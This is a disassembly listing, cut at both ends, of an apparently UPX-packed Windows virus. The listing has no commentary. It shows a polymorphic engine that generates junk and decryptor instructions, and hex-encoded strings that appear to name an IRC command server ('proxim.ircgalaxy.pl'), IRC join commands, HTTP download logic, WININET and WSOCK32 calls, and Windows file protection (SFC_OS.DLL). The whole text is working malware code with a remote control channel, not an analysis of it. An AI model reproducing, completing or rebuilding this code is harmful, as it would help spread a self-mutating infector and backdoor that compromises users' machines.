; db 2Bh ; + ; --------------------------------------------------------------------------- loc_315139FD: ; CODE XREF: sub_315135AF:loc_315139BAj ; sub_315135AF:loc_31513998j enter 6851h, 0 ; --------------------------------------------------------------------------- db 0 db 0 db 0E8h ; db 8Dh ; db 4Ch ; L db 24h ; $ db 3 db 6Ah ; j ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_315135AF loc_31513A09: ; CODE XREF: sub_315135AF+3F3j add [edx+5], ch loc_31513A0C: ; CODE XREF: sub_315135AF:loc_315139C9j push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax loc_31513A17: ; CODE XREF: sub_315135AF+401j push esp push 40h loc_31513A1A: ; CODE XREF: sub_315135AF+412j push ecx push edx push ebx loc_31513A1D: ; CODE XREF: sub_315135AF+408j call dword ptr [ebp+103F22h] add esp, 0Ch call dword ptr [ebp+103F2Ah] loc_31513A2C: ; CODE XREF: sub_315135AF:loc_315139B2j ; sub_315135AF+417j add esp, 8 retn ; END OF FUNCTION CHUNK FOR sub_315135AF ; --------------------------------------------------------------------------- db 8Dh ; db 95h ; db 30h ; 0 db 3Eh ; > db 10h db 0 db 33h ; 3 db 0C9h ; db 6Ah ; j db 0 db 52h ; R db 68h ; h db 30h ; 0 db 0 db 32h ; 2 db 0 db 8Bh ; db 0C4h ; db 51h ; Q db 51h ; Q db 6Ah ; j db 40h ; @ db 50h ; P db 51h ; Q db 6Ah ; j db 18h db 83h ; db 0C0h ; db 8 db 54h ; T db 6Ah ; j db 0Eh db 50h ; P db 0FFh db 95h ; db 1Eh db 3Fh ; ? db 10h db 0 db 83h ; db 0C4h ; db 20h db 33h ; 3 db 0D2h ; db 85h ; db 0C0h ; db 0Fh db 99h ; db 0C2h ; db 0F7h ; db 0DAh ; db 58h ; X db 23h ; # db 0C2h ; db 0C3h ; db 57h ; W db 33h ; 3 db 0FFh db 0E8h ; db 0C1h ; db 0FFh db 0FFh db 0FFh db 0Fh db 84h ; db 0A5h ; db 0 db 0 db 0 db 50h ; P db 68h ; h db 28h ; ( db 73h ; s db 0 db 0 db 8Bh ; db 0D4h ; db 6Ah ; j db 0 db 8Bh ; db 0CCh ; db 6Ah ; j db 40h ; @ db 68h ; h db 0 db 0 db 10h db 0 db 6Ah ; j db 2 db 52h ; R db 6Ah ; j db 0 db 68h ; h db 28h ; ( db 73h ; s db 0 db 0 db 6Ah ; j db 0 db 51h ; Q db 53h ; S db 50h ; P db 0FFh db 95h ; db 12h db 3Fh ; ? db 10h db 0 db 5Fh ; _ db 59h ; Y db 0FFh db 95h ; db 62h ; b db 3Eh ; > db 10h db 0 db 85h ; db 0FFh db 74h ; t db 71h ; q db 8Bh ; db 8Dh ; db 90h ; db 15h db 10h db 0 db 0E3h ; db 0Ch db 8Dh ; db 95h ; db 0 db 10h db 10h db 0 db 3 db 0D1h ; db 57h ; W db 53h ; S db 0FFh db 0D2h ; db 8Bh ; db 85h ; db 0FEh ; db 3Eh ; > db 10h db 0 db 8Dh ; db 8Fh ; db 16h db 29h ; ) db 0 db 0 db 0E8h ; db 2Bh ; + db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 16h db 3Fh ; ? db 10h db 0 db 8Dh ; db 8Fh ; db 63h ; c db 29h ; ) db 0 db 0 db 0E8h ; db 1Ah db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 2 db 3Fh ; ? db 10h db 0 db 8Dh ; db 8Fh ; db 6Ah ; j db 29h ; ) db 0 db 0 db 0E8h ; db 9 db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 6 db 3Fh ; ? db 10h db 0 db 85h ; db 0C0h ; db 74h ; t db 20h db 8Dh ; db 8Fh ; db 77h ; w db 29h ; ) db 0 db 0 db 0E8h ; db 0F4h ; db 0FEh ; db 0FFh db 0FFh db 8Bh ; db 85h ; db 0Eh db 3Fh ; ? db 10h db 0 db 85h ; db 0C0h ; db 74h ; t db 0Bh db 8Dh ; db 8Fh ; db 84h ; db 29h ; ) db 0 db 0 db 0E8h ; db 0DFh ; db 0FEh ; db 0FFh db 0FFh db 8Bh ; db 0C7h ; db 5Fh ; _ db 0C3h ; db 55h ; U db 0E8h ; db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 101B24h xor ecx, ecx lea eax, [ebp+101EAFh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+103E8Eh] xchg eax, [esp] call dword ptr [ebp+103E62h] pop ebp retn 4 ; --------------------------------------------------------------------------- db 55h, 0E8h, 0 dd 5D000000h, 1B53ED81h, 0FF6A0010h, 1B1E958Dh, 52500010h dd 2420CDh, 0C483002Ah, 85C7660Ch, 101B64h, 85C720CDh dd 101B66h, 2A0024h, 1A6AC35Dh, 9E858h, 428D0000h, 0C9FEAA61h dd 69C3F075h, 103F7C95h, 8840500h, 95894208h, 103F7Ch dd 55C3E2F7h, 0E8h, 0ED815D00h, 101BADh, 3F809D8Bh, 7C830010h dd 0F000824h, 0B984h, 8EC8100h, 54000002h, 10468h, 0B695FF00h dd 8B00103Eh, 24848DFCh, 104h, 0E8006A50h, 4, 525256h dd 0B295FF57h, 3300103Eh, 4978DC9h, 51000001h, 51026A51h dd 68016Ah, 52400000h, 3E7E95FFh, 85960010h, 505B74F6h dd 1046854h, 0FF570000h, 22024B4h, 95FF0000h, 103F5Eh dd 74C08559h, 5014E316h, 6AD48Bh, 56575152h, 3EF695FFh dd 85590010h, 56D075C0h, 3E6295FFh, 578D0010h, 6A575244h dd 978D5844h, 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h dd 3E8695FFh, 0C4810010h, 208h, 82474FFh, 3F4E95FFh, 0FF530010h dd 103F4E95h, 4C25D00h, 0A3E8000h, 8B460175h, 10158C8Dh dd 8D19E300h, 10100095h, 56D10300h, 0C084D2FFh, 11F880Fh dd 840F0000h, 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h dd 0F175203Eh, 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h dd 6A51CEh, 0FF535651h, 103F4695h, 0C13B5900h, 0DF850Fh dd 858D0000h, 101EA3h, 0C68006Ah, 50000000h, 4695FF53h dd 3D00103Fh, 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh dd 0A5850F56h, 83000000h, 3CAC08C6h, 99840F0Dh, 3C000000h dd 0ACF37520h, 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h dd 203CAC7Fh, 7E817C75h, 746820FFh, 81717574h, 3A70037Eh dd 68752F2Fh, 0FF47C6h, 10BA310Fh, 0F7000027h, 95FF52E2h dd 103EE6h, 5050C033h, 9E85050h, 44000000h, 6C6E776Fh dd 64616Fh, 3F5695FFh, 0C0850010h, 0C9333674h, 3F808589h dd 68510010h, 80000200h, 50565151h, 3F5A95FFh, 958D0010h dd 101BA7h, 54C93350h, 51525051h, 8E95FF51h, 8700103Eh dd 95FF2404h, 103E62h, 8D80C3F8h, 10157Fh, 6AC3F901h, 0FF016A01h dd 473FF33h, 0C08515FFh, 0DB335A74h, 0BB3D08Bh, 8D3C5003h dd 101DCBB5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C7832EEBh, 0CC8B530Fh dd 50D48B57h, 51406A54h, 0FFFF6A52h, 103F2295h, 968D8B00h dd 8300103Eh, 0CF2B0CC4h, 0C707E983h, 0E8006A07h, 34F8900h dd 464F53C3h, 52415754h, 694D5C45h, 736F7263h, 5C74666Fh dd 646E6957h, 5C73776Fh, 72727543h, 56746E65h, 69737265h dd 455C6E6Fh, 6F6C7078h, 726572h, 67726154h, 6F487465h dd 2007473h, 500000h, 70000000h, 69786F72h, 72692E6Dh dd 6C616763h, 2E797861h, 4E006C70h, 204B4349h, 6C766864h dd 61767566h, 4553550Ah, 4A6B2052h, 204E494Fh, 72697626h dd 550A7574h, 0E8h, 0ED815D00h, 101EB5h, 157F85C6h, 0FF000010h dd 103EBA95h, 1FE8C100h, 1E6A3C74h, 3E72B58Bh, 0AC590010h dd 2A752E3Ch, 0FF3E8166h, 8D23751Dh, 103F76BDh, 2768B00h dd 0A566A557h, 38EC858Dh, 858F0010h, 103912h, 0FA4689FAh dd 0FBFE4E8Ch, 0CFE201B1h, 21E850EBh, 83FFFFFBh, 408247Ch dd 8E84475h, 53000000h, 442E4346h, 0FF004C4Ch, 103EC695h dd 74C00B00h, 26A930Dh, 6E95FF53h, 0FF00103Eh, 97E893D0h dd 0E8FFFFFEh, 0Bh, 5F434653h, 442E534Fh, 0FF004C4Ch, 103EC695h dd 0FE7CE800h, 0E8FFFFh, 0FFFFFFF6h, 1012D48Dh, 8DC93300h dd 10432485h, 51515100h, 51515051h, 0C295FF51h, 0E800103Eh dd 0Bh, 52455355h, 442E3233h, 0FF004C4Ch, 103EC695h, 0AE800h dd 73770000h, 6E697270h, 416674h, 6E95FF50h, 8900103Eh dd 103E7685h, 8D310F00h, 1019858Dh, 7C858900h, 5100103Fh dd 3EC695FFh, 68930010h, 4, 1992B58Dh, 8D590010h, 103F62BDh dd 0F5C2E800h, 0C766FFFFh, 101E7585h, 83500000h, 101E77A5h dd 958D0000h, 101E35h, 16A5450h, 6852006Ah, 80000002h dd 3F6695FFh, 0C0850010h, 8D22755Ah, 101E688Dh, 66A5200h dd 1E75B58Dh, 56540010h, 52515050h, 3F6A95FFh, 0FF580010h dd 103F6295h, 8385C600h, 1041h, 0CE8h, 4F535700h, 32334B43h dd 4C4C442Eh, 0C695FF00h, 9300103Eh, 768h, 0E9B58D00h dd 59001018h, 3F32BD8Dh, 3DE80010h, 0E8FFFFF5h, 0Ch, 494E4957h dd 2E54454Eh, 4C4C44h, 3EC695FFh, 0C0850010h, 235840Fh dd 68930000h, 5, 1927B58Dh, 8D590010h, 103F4EBDh, 0F506E800h dd 0BD83FFFFh, 103F52h, 10840F00h, 81000002h, 190ECh, 1685400h dd 0FF000001h, 103F3295h, 90C48100h, 50000001h, 6AD48Bh dd 5295FF52h, 8500103Fh, 0D7559C0h, 138868h, 0E695FF00h dd 0EB00103Eh, 77BD83E2h, 101Eh, 858D2975h, 101E7Bh, 3E95FF50h dd 8500103Fh, 89840FC0h, 8B000001h, 8B0C40h, 858F30FFh dd 101E77h, 418385C6h, 6A010010h, 6A016A00h, 4A95FF02h dd 8300103Fh, 840FFFF8h, 160h, 73958D93h, 6A00101Eh, 0FF535210h dd 103F3A95h, 0FC08500h, 14085h, 94BD8D00h, 0B100101Eh dd 0FA3CE808h, 9468FFFFh, 5E000000h, 3489E62Bh, 95FF5424h dd 103EBEh, 1EA2BD8Dh, 1B10010h, 0FFFA1DE8h, 8F958DFFh dd 6A00101Eh, 146800h, 53520000h, 3F4695FFh, 448D0010h dd 958D1424h, 104324h, 0AB60F50h, 1424448Bh, 208E0C1h dd 4A12014Ah, 34A1202h, 824440Bh, 0C10FE180h, 0B5108E0h dd 0FF102444h, 0BD8D5032h, 103F84h, 1CE8h, 362E2500h, 202E2078h dd 253A202Eh, 382E2525h, 20782578h, 4A0A7325h, 204E494Fh dd 95FF5700h, 103E76h, 0ACC481h, 6A0000h, 0FF535750h, 103F4695h dd 988D8B00h, 6A001015h, 6B1BE300h, 0E8510DC9h, 5, 0A642526h dd 95FF5700h, 103E76h, 500CC483h, 7680BEBh, 8D000000h dd 101EA8BDh, 0FF535700h, 103F4695h, 7EC08500h, 84B58D54h dd 8300103Fh, 101598A5h, 8D8D0000h, 104183h, 6ACE2Bh, 0FF535651h dd 103F4295h, 0F88300h, 8B912F7Eh, 84B58DFEh, 0B000103Fh dd 75AEF20Dh, 2AE86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh dd 2BCF8BEAh, 84BD8DCEh, 0F300103Fh, 0EBF787A4h, 95FF53B9h dd 103F36h, 157FBD80h, 74010010h, 7530682Ah, 95FF0000h dd 103EE6h, 4183BD80h, 74000010h, 7785C711h, 101Eh, 0C6000000h dd 10418385h, 8E90000h, 0C7FFFFFEh, 10158885h, 0 dd 4C25D80h, 4F0A0D00h, 6F6F6E20h, 666F206Eh, 66696C20h dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h dd 656D6974h, 74492021h, 6C207327h, 21657461h, 4CA2A1A8h dd 10A61429h, 40375232h, 40375248h, 8F908788h, 27B1FAE5h dd 0C26CCC5Ch, 86E15194h, 658000B9h, 0D8B8B352h, 15h dup(0) dd 0C768988Fh, 0F4A58360h, 1042h, 42F8A583h, 0F000010h ; CODE XREF: UPX2:31514F2Ap ; UPX2:31514F51p ... dd 8D1443B7h, 0B70F1853h, 0D003064Bh, 2424448Bh, 720C422Bh dd 8423B19h, 428B1473h, 0C422B14h, 42F49589h, 85890010h dd 1042F8h, 0C28305EBh, 61D9E228h, 880004C2h, 10246785h dd 64E800h, 1F680000h, 8D000000h, 10239485h, 18395900h dd 0C0830C74h, 0FFF7E204h, 1042D085h, 0D9F7C300h, 24678D03h dd 10E30010h, 8FFC70FFh, 4E88300h, 9D89F6E2h, 102394h dd 74003A83h, 3322B05h, 4E8D1072h, 5E5B58FCh, 74003A83h dd 0EB32FF04h, 1072FF03h, 0FFFF57E8h, 2BCE2BFFh, 1042F88Dh dd 4B035800h, 858FC334h, 1042D4h, 42D085C7h, 10h, 3CE80000h dd 8B000000h, 1042D085h, 0F6A9E800h, 18E8FFFFh, 83000000h dd 1042D0BDh, 8750000h, 24109D89h, 9CEB0010h, 42D08DFFh dd 8FC30010h, 1042D485h, 0D0958900h, 0E8001042h, 3, 8BC3C933h dd 8093h, 0EDE85200h, 3FFFFFEh, 1042F895h, 83D60300h, 0F000C7Ah dd 10784h, 107A8300h, 0FD840F00h, 8B000000h, 0E8500C42h dd 0FFFFFEC8h, 42F88503h, 0C6030010h, 80088A50h, 197400F9h dd 742EF980h, 0F1EB4003h, 8101488Bh, 0DFDFDFE1h, 44F981DFh dd 75004C4Ch, 0C82B59ECh, 0FFAF983h, 0B78Fh, 78816600h dd 0F3233FEh, 0AB85h, 3A835600h, 8B057500h, 2EB104Ah, 0F1030A8Bh dd 0FE72E851h, 0B503FFFFh, 1042F8h, 78C085ADh, 84840FFBh dd 0FF000000h, 1042F8B5h, 55E85000h, 3FFFFFEh, 1042F885h dd 0F8858F00h, 3001042h, 83532404h, 0DB3302C0h, 0E308B60Fh dd 20C98012h, 2424C153h, 241C2904h, 5B240C29h, 81E9EB40h dd 0BBD70FFBh, 813E74DDh, 6E45A8FBh, 813674DBh, 0A13B59FBh dd 812E74FFh, 0B522D6FBh, 812674ACh, 58E993FBh, 811E74F3h dd 58E97DFBh, 811674F3h, 253F46FBh, 810E74E1h, 253F30FBh dd 0FF0674E1h, 1042D495h, 71E95B00h, 5EFFFFFFh, 0E914C283h dd 0FFFFFEEFh, 46A03C3h, 0F549E858h, 9588FFFFh, 102641h dd 1831B866h, 0E4C0E202h, 66E20203h, 58066AABh, 0FFF52EE8h dd 8C283FFh, 56AD187h, 0F521E858h, 0FA80FFFFh, 0B00B7303h dd 41850250h, 0AA001026h, 686A27EBh, 0FA80AA58h, 0B0187503h dd 0F501E811h, 1B8FFFFh, 84000000h, 0D10D74D2h, 0EBCAFEE0h dd 0B805EBF6h, 80000000h, 0C3BFE2ABh, 39CC958Dh, 0D72B0010h dd 0F7C3DAF7h, 1039C085h, 0 ; --------------------------------------------------------------------------- adc [edi], cl xchg eax, ebp rol cl, 0E0h or esi, esi test [esi+1001039h], edi jnz short loc_315146D6 or ax, 2589h jmp short loc_315146E9 ; --------------------------------------------------------------------------- loc_315146D6: ; CODE XREF: UPX2:315146CEj test byte ptr [ebp+1039BEh], 2 jnz short loc_315146E5 or ax, 2531h jmp short loc_315146E9 ; --------------------------------------------------------------------------- loc_315146E5: ; CODE XREF: UPX2:315146DDj or ax, 2501h loc_315146E9: ; CODE XREF: UPX2:315146D4j ; UPX2:315146E3j stosw call near ptr dword_31514410+29Ch mov eax, [ebx+34h] mov [ebp+1042E8h], edx stosd retn ; =============== S U B R O U T I N E ======================================= sub_315146FB proc near ; CODE XREF: UPX2:31514D47p test dword ptr [ebp+1039C0h], 10000000h setnz al add al, 0BCh stosb call near ptr dword_31514410+29Ch mov [ebp+1042ECh], edx test byte ptr [ebp+1039BEh], 1 jnz short loc_31514723 rdtsc jmp short loc_31514725 ; --------------------------------------------------------------------------- loc_31514723: ; CODE XREF: sub_315146FB+22j sub eax, eax loc_31514725: ; CODE XREF: sub_315146FB+26j stosd retn sub_315146FB endp ; =============== S U B R O U T I N E ======================================= sub_31514727 proc near ; CODE XREF: UPX2:loc_31514D51p test dword ptr [ebp+1039C0h], 10000000h jz short loc_3151475A mov al, [ebp+1039BAh] shl eax, 0Bh or ax, 458Bh stosw mov al, 0F8h stosb mov al, [ebp+1039BAh] shl eax, 1Bh add eax, 6896467h stosd xor eax, eax stosw jmp short locret_3151476C ; --------------------------------------------------------------------------- loc_3151475A: ; CODE XREF: sub_31514727+Aj mov eax, 58F64h stosd mov al, [ebp+1039BAh] add al, 58h shl eax, 18h stosd locret_3151476C: ; CODE XREF: sub_31514727+31j retn sub_31514727 endp ; =============== S U B R O U T I N E ======================================= sub_3151476D proc near ; CODE XREF: sub_315147DF:loc_31514806p ; sub_315147DF+4Cp ... mov byte ptr [ebp+10279Ch], 9 jmp short loc_3151479B ; --------------------------------------------------------------------------- loc_31514776: ; CODE XREF: sub_3151476D+44j mov al, 0FCh jmp short loc_3151479A ; --------------------------------------------------------------------------- loc_3151477A: ; CODE XREF: sub_3151476D+48j mov ax, 0EBh stosw jmp short loc_3151479B ; --------------------------------------------------------------------------- loc_31514782: ; CODE XREF: sub_3151476D+4Cj push 4 pop eax call near ptr dword_31513B50+43h lea eax, [edx+edx*8] shl eax, 8 add ax, 0C089h stosw jmp short loc_3151479B ; --------------------------------------------------------------------------- loc_31514798: ; CODE XREF: sub_3151476D+50j mov al, 90h loc_3151479A: ; CODE XREF: sub_3151476D+Bj ; sub_3151476D+60j ... stosb loc_3151479B: ; CODE XREF: sub_3151476D+7j ; sub_3151476D+13j ... push 15h pop eax call near ptr dword_31513B50+43h add byte ptr [ebp+10279Ch], 6 cmp dl, 8 jnb short locret_315147DE test dl, dl jz short loc_31514776 dec dl jz short loc_3151477A dec dl jz short loc_31514782 dec dl jz short loc_31514798 dec dl jz short loc_315147CF dec dl jz short loc_315147D6 dec dl jz short loc_315147DA mov al, 0F9h jmp short loc_3151479A ; --------------------------------------------------------------------------- loc_315147CF: ; CODE XREF: sub_3151476D+54j mov al, 87h stosb mov al, 0DBh jmp short loc_3151479A ; --------------------------------------------------------------------------- loc_315147D6: ; CODE XREF: sub_3151476D+58j mov al, 0F5h jmp short loc_3151479A ; --------------------------------------------------------------------------- loc_315147DA: ; CODE XREF: sub_3151476D+5Cj mov al, 0F8h jmp short loc_3151479A ; --------------------------------------------------------------------------- locret_315147DE: ; CODE XREF: sub_3151476D+40j retn sub_3151476D endp ; =============== S U B R O U T I N E ======================================= sub_315147DF proc near ; CODE XREF: UPX2:loc_31514C28p ; UPX2:31514DDBp test dword ptr [ebp+1039C0h], 2000h mov al, 86h jnz short loc_315147EF add al, 4 loc_315147EF: ; CODE XREF: sub_315147DF+Cj lea ecx, [edi-2] mov ah, [ebp+1039B8h] stosw cmp ah, 5 jnz short loc_31514806 mov al, 0 or byte ptr [edi-1], 40h stosb loc_31514806: ; CODE XREF: sub_315147DF+1Ej call sub_3151476D test dword ptr [ebp+1039C0h], 4000h mov ax, 3166h jnz short loc_3151481D mov ah, 29h loc_3151481D: ; CODE XREF: sub_315147DF+3Aj stosw mov al, 18h or al, [ebp+1039BAh] shl al, 3 stosb call sub_3151476D mov al, 88h test dword ptr [ebp+1039C0h], 8000h jnz short loc_31514840 mov al, 86h loc_31514840: ; CODE XREF: sub_315147DF+5Dj mov ah, [ebp+1039B8h] stosw cmp ah, 5 jnz short locret_31514854 mov al, 0 or byte ptr [edi-1], 40h stosb locret_31514854: ; CODE XREF: sub_315147DF+6Cj retn sub_315147DF endp ; --------------------------------------------------------------------------- loc_31514855: ; CODE XREF: sub_3151545B+183p lea edi, [ebp+1039CCh] call sub_3151476D test dword ptr [ebp+1039C0h], 400000h jz short near ptr unk_3151486F mov al, 60h stosb ; --------------------------------------------------------------------------- unk_3151486F db 0F7h ; ; CODE XREF: UPX2:3151486Aj db 85h ; db 0C0h ; db 39h ; 9 db 10h db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- adc [edi+eax-48h], dh push ebp mov ebp, esp add [ebx-3F7A08B1h], ch cmp [eax], edx add [ebx], al ; --------------------------------------------------------------------------- db 2 dup(0), 2 dd 0F0840Fh, 0E8B00000h, 0BD89ABAAh, 1042D8h, 0FFFECCE8h dd 0AAE8B0FFh, 0DCBD89ABh, 0E8001042h, 0FFFFFEBDh, 39C085F7h dd 30010h, 1A740000h, 39C085F7h, 10h, 0A740200h, 0FFFE2EE8h dd 0FE9BE8FFh, 0E9B0FFFFh, 858BABAAh, 1042D8h, 0C82BCF8Bh dd 42E0BD89h, 48890010h, 6467B8FCh, 33AB36FFh, 0F7AB66C0h dd 1039C085h, 300h, 0F6137400h, 1039BE85h, 0A748000h, 0FFFDAAE8h dd 0FE5BE8FFh, 67B8FFFFh, 0AB268964h, 0AB66C033h, 39C085F7h dd 30010h, 5A740000h, 39BE85F6h, 75800010h, 0FD81E80Ah dd 32E8FFFFh, 0E8FFFFFEh, 0FFFFFD02h, 14E820B0h, 0E3FFFFFBh dd 0FFB86639h, 91AB6615h, 0C0958BABh, 0F7001039h, 3C2F7D2h dd 75000000h, 0FCDCE814h, 1FB0FFFFh, 0FFFAEEE8h, 0FFB866FFh dd 91AB6615h, 8BCF8BABh, 1042E085h, 89C82B00h, 85F7FC48h dd 1039C0h, 3, 85F73874h, 1039C0h, 0C000000h, 85F72C74h dd 1039C0h, 2000000h, 0C2E80A75h, 0E8FFFFFDh, 0FFFFFD4Bh dd 39C085F7h, 10h, 0A740800h, 0FFFDACE8h, 0FD61E8FFh, 85F7FFFFh dd 1039C0h, 4, 96E81774h, 0B8FFFFFDh, 0C8FEC029h, 0C008B8ABh dd 0B8AB0474h, 67EBF875h, 0FD7FE8ABh, 85F7FFFFh, 1039C0h dd 8, 0BD807275h, 1039BEh, 0E8697400h, 0FFFFFD65h, 291829B8h dd 0BAA50AC9h, 0C0001039h, 0A50A03E4h, 1039BAh, 0FD4BE8ABh dd 0B1B0FFFFh, 0BE858AAAh, 0AA001039h, 0FFFD3CE8h, 85B60FFFh dd 1039BAh, 4C0048Dh, 8E0C140h, 0AB668DB0h, 57AA01B0h dd 0FFFD20E8h, 243C29FFh, 0FBE2B866h, 0C085F759h, 10001039h dd 74000000h, 0AA49B007h, 0FA75B866h, 0AB66E102h, 0FFFCFCE8h dd 0AAE8B0FFh, 89ABC033h, 1042C4BDh, 0C085F700h, 20001039h dd 75000000h, 0DEE8573Bh, 0F7FFFFFCh, 1039C085h, 0 dd 89187480h, 1042F0BDh, 0FD39E800h, 0C2E8FFFFh, 0B0FFFFFCh dd 0BAE8AAC3h, 5AFFFFFCh, 58B0CF8Bh, 850ACA2Bh, 1039B8h dd 0AAFC4A89h, 0FFFCA4E8h, 81B866FFh, 0C085F7C0h, 40001039h dd 74000000h, 28C48003h, 39B8A50Ah, 0AB660010h, 42C8BD89h dd 0F7AB0010h, 1039C085h, 0 ; --------------------------------------------------------------------------- inc eax jnz short loc_31514B00 mov al, 50h add al, [ebp+1039B8h] stosb loc_31514B00: ; CODE XREF: UPX2:31514AF5j test dword ptr [ebp+1039C0h], 80h jnz short loc_31514B17 mov al, 0B8h or al, [ebp+1039B9h] stosb jmp short loc_31514B54 ; --------------------------------------------------------------------------- loc_31514B17: ; CODE XREF: UPX2:31514B0Aj mov ax, 1831h test dword ptr [ebp+1039C0h], 100h jz short loc_31514B29 mov al, 29h loc_31514B29: ; CODE XREF: UPX2:31514B25j or ah, [ebp+1039B9h] shl ah, 3 or ah, [ebp+1039B9h] stosw mov ax, 0F081h test dword ptr [ebp+1039C0h], 200h jnz short loc_31514B4C mov ah, 0C8h loc_31514B4C: ; CODE XREF: UPX2:31514B48j or ah, [ebp+1039B9h] stosw loc_31514B54: ; CODE XREF: UPX2:31514B15j mov [ebp+1042E4h], edi mov eax, 29CCh stosd test dword ptr [ebp+1039C0h], 8 jz short loc_31514BDD call sub_3151476D test dword ptr [ebp+1039C0h], 400h jnz short loc_31514B88 mov al, 0B8h or al, [ebp+1039BAh] stosb jmp short loc_31514BD5 ; --------------------------------------------------------------------------- loc_31514B88: ; CODE XREF: UPX2:31514B7Bj test dword ptr [ebp+1039C0h], 800h jnz short loc_31514BA5 mov ax, 0E083h or ah, [ebp+1039BAh] stosw xor eax, eax stosb jmp short loc_31514BBA ; --------------------------------------------------------------------------- loc_31514BA5: ; CODE XREF: UPX2:31514B92j mov ax, 1829h or ah, [ebp+1039BAh] shl ah, 3 or ah, [ebp+1039BAh] stosw loc_31514BBA: ; CODE XREF: UPX2:31514BA3j test dword ptr [ebp+1039C0h], 1000h mov ax, 0C081h jz short loc_31514BCD add ah, 8 loc_31514BCD: ; CODE XREF: UPX2:31514BC8j or ah, [ebp+1039BAh] stosw loc_31514BD5: ; CODE XREF: UPX2:31514B86j movzx eax, byte ptr [ebp+1039BEh] stosd loc_31514BDD: ; CODE XREF: UPX2:31514B6Aj call sub_3151476D test dword ptr [ebp+1039C0h], 40000000h jz short loc_31514BFC mov al, 50h add al, [ebp+1039B8h] stosb call sub_3151476D loc_31514BFC: ; CODE XREF: UPX2:31514BECj lea ecx, [edi-2] mov [ebp+1042CCh], ecx test dword ptr [ebp+1039C0h], 80000000h jz short loc_31514C28 mov al, 0E8h stosb mov eax, [ebp+1042F0h] sub eax, edi sub eax, 4 stosd mov [ebp+1042F0h], edi jmp short loc_31514C2D ; --------------------------------------------------------------------------- loc_31514C28: ; CODE XREF: UPX2:31514C0Fj call sub_315147DF loc_31514C2D: ; CODE XREF: UPX2:31514C26j call sub_3151476D test dword ptr [ebp+1039C0h], 10000h jnz short loc_31514C49 mov al, 40h or al, [ebp+1039B8h] stosb jmp short loc_31514C58 ; --------------------------------------------------------------------------- loc_31514C49: ; CODE XREF: UPX2:31514C3Cj mov ax, 0C083h or ah, [ebp+1039B8h] stosw mov al, 1 stosb loc_31514C58: ; CODE XREF: UPX2:31514C47j test dword ptr [ebp+1039C0h], 20000h jnz short loc_31514C93 test dword ptr [ebp+1039C0h], 40000h jnz short loc_31514C8A mov al, 0C0h or al, [ebp+1039BAh] mov ah, [ebp+1039BFh] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_31514C92 ; --------------------------------------------------------------------------- loc_31514C8A: ; CODE XREF: UPX2:31514C6Ej mov al, 40h or al, [ebp+1039BAh] loc_31514C92: ; CODE XREF: UPX2:31514C88j stosb loc_31514C93: ; CODE XREF: UPX2:31514C62j test dword ptr [ebp+1039C0h], 80000h jnz short loc_31514CAF mov ax, 0E883h or ah, [ebp+1039B9h] stosw mov al, 1 jmp short loc_31514CB7 ; --------------------------------------------------------------------------- loc_31514CAF: ; CODE XREF: UPX2:31514C9Dj mov al, 48h or al, [ebp+1039B9h] loc_31514CB7: ; CODE XREF: UPX2:31514CADj stosb call sub_3151476D test dword ptr [ebp+1039C0h], 100000h mov cl, 75h jnz short loc_31514CF0 mov ax, 0F883h or ah, [ebp+1039B9h] stosw xor eax, eax stosb sub [ebp+1042CCh], edi test dword ptr [ebp+1039C0h], 200000h jnz short loc_31514D0B mov cl, 77h jmp short loc_31514D0B ; --------------------------------------------------------------------------- loc_31514CF0: ; CODE XREF: UPX2:31514CC9j mov ax, 1809h or ah, [ebp+1039B9h] shl ah, 3 or ah, [ebp+1039B9h] stosw sub [ebp+1042CCh], edi loc_31514D0B: ; CODE XREF: UPX2:31514CEAj ; UPX2:31514CEEj mov al, cl mov ah, [ebp+1042CCh] stosw mov al, 58h add al, [ebp+1039B8h] stosb call sub_3151476D test dword ptr [ebp+1039C0h], 2000003h jz short loc_31514D5B test dword ptr [ebp+1039C0h], 8000000h jnz short loc_31514D5B test dword ptr [ebp+1039C0h], 6000000h jnz short loc_31514D51 call sub_315146FB call sub_3151476D loc_31514D51: ; CODE XREF: UPX2:31514D45j call sub_31514727 call sub_3151476D loc_31514D5B: ; CODE XREF: UPX2:31514D2Dj ; UPX2:31514D39j test dword ptr [ebp+1039C0h], 10000000h jz short loc_31514D6F mov al, 0C9h stosb call sub_3151476D loc_31514D6F: ; CODE XREF: UPX2:31514D65j test dword ptr [ebp+1039C0h], 400000h jz short loc_31514DA5 mov al, 7 sub al, [ebp+1039B8h] shl eax, 1Ah or eax, 240889h add ah, [ebp+1039B8h] shl ah, 3 add ah, 4 stosd call sub_3151476D mov al, 61h stosb call sub_3151476D loc_31514DA5: ; CODE XREF: UPX2:31514D79j mov ax, 0E0FFh or ah, [ebp+1039B8h] stosw call sub_3151476D test dword ptr [ebp+1039C0h], 20h jz short loc_31514E31 test dword ptr [ebp+1039C0h], 80000000h jz short loc_31514DED mov eax, edi mov ecx, [ebp+1042F0h] sub 